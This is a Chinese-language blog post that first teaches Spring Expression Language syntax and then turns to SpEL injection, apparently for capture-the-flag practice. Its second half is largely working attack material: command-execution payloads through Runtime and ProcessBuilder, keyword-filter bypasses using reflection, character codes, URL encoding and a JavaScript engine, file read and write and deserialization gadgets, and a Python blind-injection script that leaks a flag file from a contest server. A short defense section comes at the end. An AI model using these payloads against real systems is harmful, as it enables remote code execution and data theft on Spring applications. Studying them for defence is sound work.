学习SPEL表达式注入
spel是什么
spel全称Spring Expression Language
,SPEL可以基于xml和注解、bean的定义一起使用
spel是表达式计算的基础,实现了spring生态的无缝对接巴拉巴拉的,懒得写了,直接进正题好了
spel定界符
spel使用#{}
作为定界符,所有大括号中的字符都被认为是spel表达式,在其中可以使用spel运算符、变量、引用bean的属性和方法等
spel可以:
使用Bean的ID来引用Bean
可调用方法和访问对象的属性
可对值进行算数、关系和逻辑运算
可使用正则表达式进行匹配
可进行集合操作
注意#{}
和${}
的区别
#{}
是spel的定界符,用于指明内容为spel表达式并且执行
${}
主要用于加载外部属性文件中的值
二者可以混合使用,但是#{}
必须在${}
的外面
spel表达式类型
最简单的spel表达式仅包含有一个字面值 。
在xml配置文件
中设置类属性为字面值
此时需要用到#{}
定界符,注意如果是字符串的话,需要利用''
单引号括起来:
1 2 <property name="message1" value="#{666}"/> <property name="message2" value="#{'Err0r233'}"/>
设置好Bean id:
1 2 3 <bean id="helloworld" class="com.awa.speldemo.HelloWorld"> <property name="message" value="#{'Err0r233'} is #{'awa'} "/> </bean>
还能够和字符串混合使用,如下:
1 <property name="message" value="#{'Err0r233'} is #{'awa'} "/>
java的基本数据类型都可以出现在spel并且使用
1 <property name="salary" value="#{1e4}"/>
例如上面的例子就是科学计数法的例子
demo
一个helloworld.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 package com.awa.speldemo;public class HelloWorld { private String message; public void setMessage (String message) { this .message = message; } public void getMessage () { System.out.println("[+]Your message: " + message); } }
main.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com.awa.speldemo;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.context.ApplicationContext;import org.springframework.context.support.ClassPathXmlApplicationContext;@SpringBootApplication public class SpeldemoApplication { public static void main (String[] args) { ApplicationContext ctx = new ClassPathXmlApplicationContext ("Beans.xml" ); HelloWorld obj = (HelloWorld) ctx.getBean("helloworld" ); obj.getMessage(); } }
编写Beans.xml,先创建一个Spring Config的xml文件
然后编写Bean id:
此时注意,最重要的一步来了:
将编辑好的Beans.xml复制到/target/classes
文件夹内,否则会直接报IOExecption Beans.xml does not exist
此时运行主程序即可,运行结果如下:
1 [+]Your message: Err0r233 is awa
除了字面值 以外,spel还能够引用Bean,如下,直接在界定符#{}
中写入Bean id即可:
1 2 3 <constructor-arg value ="#{test}" />
无需利用单引号括起来
还能够引用类属性:
比如,carl参赛者是一位模仿高手,kenny唱什么歌,弹奏什么乐器,他就唱什么歌,弹奏什么乐器:
1 2 3 4 5 6 7 <bean id ="kenny" class ="com.spring.entity.instrumentalist" p:song ="May Rain" p:instrument-ref ="piano" /> <bean id ="carl" class ="com.spring.entity.instrumentalist" > <property name ="instrument" value ="#{kenny.instrument}" /> <property name ="song" value- "#{kenny.song }"/> </bean >
此时spel表达式指定了kenny的属性
,等价于执行下面的命令:
1 2 Instrumentalist carl = new Instrumentalist(); carl.setSong(kenny.getSong());
还可以引用方法:
假设现在有个SongSelector
类,该类有一个SelectSong
方法,可以返回随机选择的歌曲,spel表达式如下:
1 <property name="song" value="#{SongSelector.selectSong()}"/>
如果要返回大写的歌曲名:
1 <property name="song" value="#{SongSelector.selectSong().toUpperCase()}"/>
但是这里还得确保spel表达式不会抛出NullPointerException
(神经 )
此时只需要利用null safe
存取器:
1 <property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/>
?.
能够确保左边的表达式不为null,如果为null的话就不会调用toUpperCase
函数
引用bean的demo
例如某类ExampleClass
1 2 3 4 5 6 7 8 9 10 11 package com.awa.speldemo;public class ExampleClass { public ExampleClass () { System.out.println("ExampleClass Constructor function invoked." ); } public void say () { System.out.println("say() func invoked." ); } }
ExampleClass2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.awa.speldemo;public class ExampleClass2 { private ExampleClass exampleClass; public ExampleClass2 (ExampleClass exampleClass) { System.out.println("Example2 Class Constructor invoked." ); this .exampleClass = exampleClass; } public ExampleClass2 () {} public void aaa () { exampleClass.say(); } }
Beans.xml
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="ExampleClass2" class ="com.awa.speldemo.ExampleClass2" > <constructor-arg value ="#{ExampleClass}" /> </bean > <bean id ="ExampleClass" class ="com.awa.speldemo.ExampleClass" /> </beans >
这里通过spel表达式获取到了exampleClass对象,Constructor-arg相当于调用有参构造函数,输出结果如下:
1 2 3 4 5 6 7 8 9 10 11 20 :08:06.249 [main] DEBUG org.springframework.context.support.ClassPathXmlApplicationContext - Refreshing org.springframework.context.support.ClassPathXmlApplicationContext@3d04a31120 :08:06.399 [main] DEBUG org.springframework.beans.factory.xml.XmlBeanDefinitionReader - Loaded 2 bean definitions from class path resource [Beans.xml]20 :08:06.432 [main] DEBUG org.springframework.beans.factory.support.DefaultListableBeanFactory - Creating shared instance of singleton bean 'ExampleClass2' 20 :08:06.449 [main] DEBUG org.springframework.beans.factory.support.DefaultListableBeanFactory - Creating shared instance of singleton bean 'ExampleClass' ExampleClass Constructor function invoked. Example2 Class Constructor invoked. 20 :08:06.468 [main] DEBUG org.springframework.core.env.PropertySourcesPropertyResolver - Found key 'spring.liveBeansView.mbeanDomain' in PropertySource 'systemProperties' with value of type Stringsay () func invoked.Process finished with exit code 0
T(type)
这个应该就比较有印象了,使用T(type)
相当于new type
但是使用T(type)
的时候,type必须是类全限定名,比如java.lang.Runtime
等
但是java.lang
包可以除外,因为spel已经内置了这个包,使用该包下的类剋不指定具体的包名
T(type)
还可以访问静态方法和静态字段
例如调用Math.random()
获取随机数:
1 #{T(java.lang.Math).random()}
利用SpelExpressionParser:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.awa.speldemo;import org.springframework.expression.spel.standard.SpelExpressionParser;public class exparser { public static void main (String[] args) { SpelExpressionParser parser = new SpelExpressionParser (); Class<String> result1 = parser.parseExpression("T(String)" ).getValue(Class.class); System.out.println(result1); System.out.println(String.class.toString()); } }
例如上面这个例子,两个输出的结果是等效的
利用T(java.lang.Runtime)
弹计算器:
1 T(java.lang.Runtime).getRuntime().exec('calc');
写进xml:
1 2 3 <bean id ="helloworld" class ="com.awa.speldemo.HelloWorld" > <property name ="message" value ="#{T(java.lang.Runtime).getRuntime().exec('calc')}" /> </bean >
spel用法
spel有三种形式的使用方法,上面已经用过两种:
xml
SpelExpressionParser
@value
其中前两种前面有使用方法,这里不再赘述
简单看一下@value的使用方法:
1 2 3 4 5 6 7 public class EmailSender { @Value("${spring.mail.username}") private String mailUsername; @Value("#{ systemProperties['user.region'] }") private String defaultLocale; }
然后具体看一下SpelExpressionParser
的,因为后续的各种spel注入都是基于Expression
形式的spel表达式的
spel表达式求值一般分4步:
首先构造一个解析器,也就是SpelExpressionParser parser = new SpelExpressionParser();
然后解析表达式,也就是Expression expression = parser.parseExpression("('aaa'+' bbb').concat(#end)");
,注意这里#end
接下来需要解析上下文,这里#end要根据上下文来得到值,具体代码写在下面
最后就可以得到表达式运算后的值getValue(context)
,这里需要通过Expression接口的getValue方法根据上下文获取到表达式的值
总结成代码如下:
1 2 3 4 5 SpelExpressionParser parser = new SpelExpressionParser ();Expression expression = parser.parseExpression("('aaa'+' bbb').concat(#end)" );EvaluationContext context = new StandardEvaluationContext ();context.setVariable("end" ,"!" ); System.out.println(expression.getValue(context));
这里利用了几个接口:
ExpressionParser接口:解析器,使用parseExpression
方法将字符串表达式转换为Expression
对象
EvaluationContext接口:作为上下文环境,使用setRootObject
方法设置根对象,通过setVariable
方法来注册自定义变量,使用registerFunction
注册自定义函数等
Expression接口,使用getValue
来获取表达式值,使用setValue
来设置对象值
example:
1 2 3 4 String spel = "new java.util.Date()" ;ExpressionParser parser = new SpelExpressionParser ();Expression expression = parser.parseExpression(spel);System.out.println(expression.getValue());
spel表达式
运算符类型
运算符
算数运算
+, -, *, /, %, ^
关系运算
<, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算
and, or, not, !
条件运算
?:(ternary), ?:(Elvis)
正则表达式
matches
这里的条件运算不能用if else,只能用三目运算符貌似
算数运算
1 <property name ="add" value ="#{counter.total+42}" />
字符串拼接:
1 <property name ="blogName" value ="#{my blog name is+' '+mrBird }" />
^
执行幂运算
关系运算
这里需要注意的是,在xml配置中,如果直接写>=
、<=
等会直接报错,这是因为在xml中>
和<
都有特殊含义,所以为了实际的使用,spel提供了几个等效替代的符号:
运算符
符号
文本类型
等于
==
eq
小于
<
lt
小于等于
<=
le
大于
>
gt
大于等于
>=
ge
例如:
判断total是否小于等于100:
1 <property name ="eq" value ="#{counter.total le 100}" />
当然,==
也是可以直接使用的,如判断total是否等于100:
1 <property name ="eq" value ="#{counter.total==100}" />
这里返回的都是Boolean类型的结果
逻辑运算
只需记得逻辑运算符都使用了他们的英文来替代即可:
例如&&(也就是and)
:
1 <property name ="largeCircle" value ="#{shape.kind == 'circle' and shape.perimeter gt 10000}" />
两边为true的时候才会返回true
不过也有例外,not运算也可以用!
替代:
1 property name="outOfStack" value="#{!product.available}"/>
条件运算
三目运算符
1 <property name ="instrument" value ="#{songSelector.selectSong() == 'May Rain' ? piano:saxphone}" />
这里的意思是是如果选择的歌曲是May Rain的话,选择一个id为piano的bean,否则选择一个id为saxphone的bean(因为这里没有使用单引号,所以是bean)
判断是否为空:
1 <property name ="song" value ="#{kenny.song !=null ? kenny.song:'Jingle Bells'}" />
如果kenny.song非空就选择kenny.song,否则选择Jingle Bells
作为歌曲
为了方便,此时可以利用spel的三目运算符的变体来简化表达式:
1 <property name ="song" value ="#{kenny.song !=null ?:'Jingle Bells'}" />
这里如果kenny.song不为null,则结果选择kenny.song
正则运算
利用match,例如:
1 <property name ="email" value ="#{admin.email matches '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.com'}" />
集合运算
spel表达式还能够对集合进行操作:
例如下面的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public class City { private String name; private String state; private int population; public String getName () { return name; } public void setName (String name) { this .name = name; } public String getState () { return state; } public void setState (String state) { this .state = state; } public int getPopulation () { return population; } public void setPopulation (int population) { this .population = population; } }
修改beans.xml,此时能够配置一个包含city对象的List集合:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:p ="http://www.springframework.org/schema/p" xmlns:util ="http://www.springframework.org/schema/util" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-4.0.xsd" > <util:list id ="cities" > <bean class ="com.mi1k7ea.City" p:name ="Chicago" p:state ="IL" p:population ="2853114" /> <bean class ="com.mi1k7ea.City" p:name ="Atlanta" p:state ="GA" p:population ="537958" /> <bean class ="com.mi1k7ea.City" p:name ="Dallas" p:state ="TX" p:population ="1279910" /> <bean class ="com.mi1k7ea.City" p:name ="Houston" p:state ="TX" p:population ="2242193" /> <bean class ="com.mi1k7ea.City" p:name ="Odessa" p:state ="TX" p:population ="90943" /> <bean class ="com.mi1k7ea.City" p:name ="El Paso" p:state ="TX" p:population ="613190" /> <bean class ="com.mi1k7ea.City" p:name ="Jal" p:state ="NM" p:population ="1996" /> <bean class ="com.mi1k7ea.City" p:name ="Las Cruces" p:state ="NM" p:population ="91865" /> </util:list > </beans >
创建好之后可以通过#{集合ID[i]}
的方式来访问成员
例如某choseCity类,通过挑选city集合内的一个对象来输出city
1 2 3 4 5 6 7 8 9 public class ChoseCity { private City city; public void setCity (City city) { this .city = city; } public City getCity () { return city; } }
通过beans.xml来选取集合中的某个成员,并赋值给city属性:
1 2 3 <bean id ="choseCity" class ="com.mi1k7ea.ChoseCity" > <property name ="city" value ="#{cities[0]}" /> </bean >
实例化bean:
1 2 3 ApplicationContext context = new ClassPathXmlApplicationContext ("Beans.xml" ); ChoseCity c = (ChoseCity)context.getBean("choseCity" ); System.out.println(c.getCity().getName());
会输出Chicago
中括号内支持函数:
1 2 3 <bean id="choseCity" class="com.mi1k7ea.ChoseCity"> <property name="city" value="#{cities[T(java.lang.Math).random()*cities.size()]}"/> </bean>
此时会输出cities集合内的随机一个对象
同样地,也可以将其存入map,此时[]
内可以放key,通过key来获取到value:
1 <property name ="chosenCity" value ="#{cities['Dallas']}" />
[]
还可以在Properties
集合中取值,假设通过<util:properties>
在spring中加载一个properties配置文件:
1 <util:properties id ="settings" loaction ="classpath:settings.properties" />
访问settings内的一个token:
1 <property name ="accessToken" value ="#{settings['twitter.accessToken']}" />
[]
还可以返回字符串的某个字符:
查询集合成员
.?[]
:返回所有符合条件的集合成员
.^[]
:返回第一个符合条件的集合成员
.$[]
:返回最后一个符合条件得到集合成员
例如choseCity修改为了一个list类型,直接返回所有的list
1 2 3 4 5 6 7 8 9 10 11 12 import java.util.List;public class ChoseCity { private List<City> city; public List<City> getCity () { return city; } public void setCity (List<City> city) { this .city = city; } }
beans.xml添加了一个筛选的bean:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:p ="http://www.springframework.org/schema/p" xmlns:util ="http://www.springframework.org/schema/util" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-4.0.xsd" > <util:list id ="cities" > <bean class ="com.mi1k7ea.City" p:name ="Chicago" p:state ="IL" p:population ="2853114" /> <bean class ="com.mi1k7ea.City" p:name ="Atlanta" p:state ="GA" p:population ="537958" /> <bean class ="com.mi1k7ea.City" p:name ="Dallas" p:state ="TX" p:population ="1279910" /> <bean class ="com.mi1k7ea.City" p:name ="Houston" p:state ="TX" p:population ="2242193" /> <bean class ="com.mi1k7ea.City" p:name ="Odessa" p:state ="TX" p:population ="90943" /> <bean class ="com.mi1k7ea.City" p:name ="El Paso" p:state ="TX" p:population ="613190" /> <bean class ="com.mi1k7ea.City" p:name ="Jal" p:state ="NM" p:population ="1996" /> <bean class ="com.mi1k7ea.City" p:name ="Las Cruces" p:state ="NM" p:population ="91865" /> </util:list > <bean id ="choseCity" class ="com.mi1k7ea.ChoseCity" > <property name ="city" value ="#{cities.?[population gt 100000]}" /> </bean > </beans >
主程序:
1 2 3 4 5 6 7 8 9 10 11 12 import org.springframework.context.ApplicationContext;import org.springframework.context.support.ClassPathXmlApplicationContext;public class MainApp { public static void main (String[] args) { ApplicationContext context = new ClassPathXmlApplicationContext ("Beans.xml" ); ChoseCity c = (ChoseCity)context.getBean("choseCity" ); for (City city:c.getCity()){ System.out.println(city.getName()); } } }
此时通过chosecity的bean的筛选,会输出population>=100000的所有结果
1 2 3 4 5 Chicago Atlanta Dallas Houston El Paso
变量定义和引用
利用setVariable设置变量:
1 2 3 ExpressionParser parser = new SpelExpressionParser ();EvaluationContext context = new StandardEvaluationContext ("mi1k7ea" );context.setVariable("variable" , "666" );
引用则需要使用#variable
来引用
同样地,有根对象和正在计算的上下文
1 2 3 4 5 6 7 8 9 ExpressionParser parser = new SpelExpressionParser ();EvaluationContext context = new StandardEvaluationContext ("mi1k7ea" );context.setVariable("variable" , "666" ); String result1 = parser.parseExpression("#variable" ).getValue(context, String.class);System.out.println(result1); String result2 = parser.parseExpression("#root" ).getValue(context, String.class);System.out.println(result2); String result3 = parser.parseExpression("#this" ).getValue(context, String.class);System.out.println(result3);
输出
instanceof
支持instanceof
1 #{'haha' instanceof T(String)}
自定义函数
例如某函数func(),需要注册到Context里:
1 2 3 4 5 ExpressionParser parser = new SpelExpressionParser ();StandardEvaluationContext context = new StandardEvaluationContext ();context.registerFunction("func" , xxx.class.getDeclaredMethod("func" , new Class [] { String.class })); String res = parser.parseExpression("#func('xxx')" ).getValue(context, String.class);System.out.println(result);
spel表达式漏洞
这就得提到前面的一个接口:EvaluationContext
了,这个接口有两个EvaluationContext
SimpleEvaluationContext
StandardEvaluationContext
Simple版的只支持spel语言语法的一个子集,不包括java类型引用、构造函数和bean
而Standard版本的是支持全部spel语法的
由于spel是支持操作类和方法的,可以通过T(type)
来调用任意类方法,这是因为不指定EvaluationContext的情况下默认使用的是Standard
版本的EvalutaionContext,在允许用户控制输入的情况下可以造成任意命令执行
弹计算器的poc:
1 2 T(java.lang.Runtime).getRuntime().exec('calc'); T(java.lang.Runtime).getRuntime().exec("calc");
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.awa.speldemo;import org.springframework.expression.Expression;import org.springframework.expression.spel.standard.SpelExpressionParser;public class exparser { public static void main (String[] args) { SpelExpressionParser parser = new SpelExpressionParser (); Expression expression = parser.parseExpression("T(java.lang.Runtime).getRuntime.exec('calc')" ); System.out.println(expression.getValue()); } }
poc
以parseExpression为主,所以会把界定符#{}
去掉:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 //poc原型 //Runtime T(java.lang.Runtime).getRuntime().exec("calc") T(Runtime).getRuntime().exec("calc") //ProcessBuilder new java.lang.ProcessBuilder({'calc'}).start() new ProcessBuilder({'calc'}).start() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= //Bypass //反射: T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc") //需要有上下文环境: #this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc") //字符串拼接,绕过关键词: T(String).getClass().forName("jav"+"a.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("jav"+"a.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"}) //有上下文环境的拼接: #this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"}) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 当系统命令被过滤或者被URL编码的时候,可以利用String类动态生成字符: T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99))) new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start() //javascript引擎通用poc,后面都会基于他进行变形 T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);") T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),) // JavaScript引擎+反射调用 T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),) // JavaScript引擎+URL编码 // 其中URL编码内容为:java.lang.Runtime.getRuntime().exec("calc").getInputStream() // 不加最后的getInputStream()也行,因为弹计算器不需要回显 T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),) // 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功 ''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc') // JDK9新增的shell,还未测试 T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString() //文件操作,利用nio,这里也可以去参考一下templatesImpl的读取,原理就是利用: Files.readAllBytes(Paths.get("D:\\developJava\\CC1Test\\target\\classes\\com\\Err0r233\\EvilClass.class")); 这里补充一下全限定名: java.nio.file.Paths java.nio.file.Files 那其实就可以自己手写poc了,但是这里返回的是一个bytes数组实践可以看下图: T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/flag")) //修改成反射调用: T(String).getClass().forName("jav"+"a.nio."+"fil"+"e.Fi"+"les").readAllBytes(T(String).getClass().forName("jav"+"a.ni"+"o.fi"+"le.P"+"aths").get('flag.txt')) 另一个payload: new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /f1AgJvav"}).start().getInputStream(), "gbk")).readLine() //使用spring工具类反序列化 T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...')) // 可以结合CC链食用 //nio写文件 T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
spel盲注
还记得前面的readAllBytes吗,他返回的是一个bytes数组,那是不是说只要通过下标就能够返回对应的数组了呢?
利用返回的响应码+三目运算符,还记得吗,如果不加引号,返回的字母就是取bean的属性:
这里kenny.song没有加引号,说明取得是对象的属性,如果环境里没有属性,就会报500
根据这个条件可以判断盲注
同时可以支持二分法(lt和小于号可以互用):
payload:
1 T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('flag.txt'))[0] lt 127?'resp500':'resp200'
这里的resp500和resp200是模拟响应码,实际上只需要这样:
1 T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('flag.txt'))[0] lt 127?a:1
即可,因为a没有加引号,且肯定不存在这个对象,故直接返回500
绕一下关键词的话:
1 T(String).getClass().forName("jav"+"a.nio."+"fil"+"e.Fi"+"les").readAllBytes(T(String).getClass().forName("jav"+"a.ni"+"o.fi"+"le.P"+"aths").get('flag.txt'))[0] lt 127?a:1
这样就能够构造一个二分脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestspayload = '''T(String).getClass().forName("jav"+"a.nio."+"fil"+"e.Fi"+"les").readAllBytes(T(String).getClass().forName("jav"+"a.ni"+"o.fi"+"le.P"+"aths").get('/flag'))[{}] lt {}?a:1''' res='' url = 'https://prob11-wtste65u.contest.pku.edu.cn/post' for i in range (0 , 1000 ): left=32 right=128 mid=(left + right) //2 while (left < right): postdata = { "expr" : payload.format (i, mid) } print (postdata) html = requests.post(url=url, data=postdata) if html.status_code == 500 : right = mid else : left = mid + 1 mid = (left + right) //2 if mid <= 32 or mid >= 127 : break res+=chr (mid-1 ) print (res) print ("Final Results:" ,res)
利用T(Thread).sleep(1000)
,大概是一秒钟
payload改成
1 T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('flag.txt'))[0] lt 127?T(Thread).sleep(1000):1
脚本就不写了,拿sql盲注的改下就好
🤔,总之看哪个顺眼用哪个,反正优先选择能够打反弹shell的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 message = input ('Enter message to encode:' ) print ('Decoded string (in ASCII):\n' ) print ('T(java.lang.Character).toString(%s)' % ord (message[0 ]), end="" )for ch in message[1 :]: print ('.concat(T(java.lang.Character).toString(%s))' % ord (ch), end="" ), print ('\n' ) print ('new java.lang.String(new byte[]{' , end="" ),print (ord (message[0 ]), end="" )for ch in message[1 :]: print (',%s' % ord (ch), end="" ), print (')}' )
生成byte数组的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 转自:https://www.jianshu.com/p/ce4ac733a4b9 ${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。) ${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径 ${header} 文件头参数 ${applicationScope} 获取webRoot ${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令 // 渗透思路:获取webroot路径,exec执行命令echo写入一句话。 <p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径
绕过T()的办法:
1 2 T%00() 这涉及到SpEL对字符的编码,%00会被直接替换为空
绕过getClass的过滤
1 2 ''.getClass 替换为 ''.class.getSuperclass().class ''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
这里的数组下标可能要被修改,因为不同jdk下标不一定是一样的
检测与防御
检测只需要找关键特征即可:
比如关键类org.springframework.expression.Expression
org.springframework.expression.ExpressionParser
org.springframework.expression.spel.standard.SpelExpressionParser
或者代码里的expression.getValue()
防御也很简单,前面说过spel有两个Context,一个simple,一个standard。standard版的支持所有语法,而simple的只支持一些语法,将EvaluationContext换成SimpleEvaluationContext即可:
1 2 3 4 5 6 String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")" ;ExpressionParser parser = new SpelExpressionParser ();Student student = new Student ();EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();Expression expression = parser.parseExpression(spel);System.out.println(expression.getValue(context));